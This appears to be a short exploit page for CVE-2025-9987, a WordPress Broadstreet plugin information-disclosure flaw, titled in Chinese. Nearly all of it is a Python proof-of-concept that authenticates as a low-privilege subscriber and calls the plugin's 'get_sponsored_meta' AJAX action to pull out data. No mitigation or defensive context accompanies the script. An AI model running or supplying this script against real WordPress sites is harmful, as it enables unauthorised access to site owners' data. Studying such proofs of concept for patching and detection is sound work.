CVE-2025-9987 WordPress Broadstreet插件信息泄露漏洞

import requests target_url = "http://example.com/wp-admin/admin-ajax.php" username = "subscriber" # Low-privilege user password = "password" # Create a session to handle cookies session = requests.Session() # Step 1: Authenticate as a subscriber login_url = "http://example.com/wp-login.php" login_data = { "log": username, "pwd": password, "redirect_to": "", "wp-submit": "Log In", "testcookie": "1" } session.post(login_url, data=login_data) # Step 2: Exploit the vulnerable AJAX action # The vulnerability is in the 'get_sponsored_meta' action payload = { "action": "get_sponsored_meta", "id": "1" # Target ID, may vary based on plugin data structure } response = session.post(target_url, data=payload) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response:") print(response.text) else: print("[-] Failed to send request.")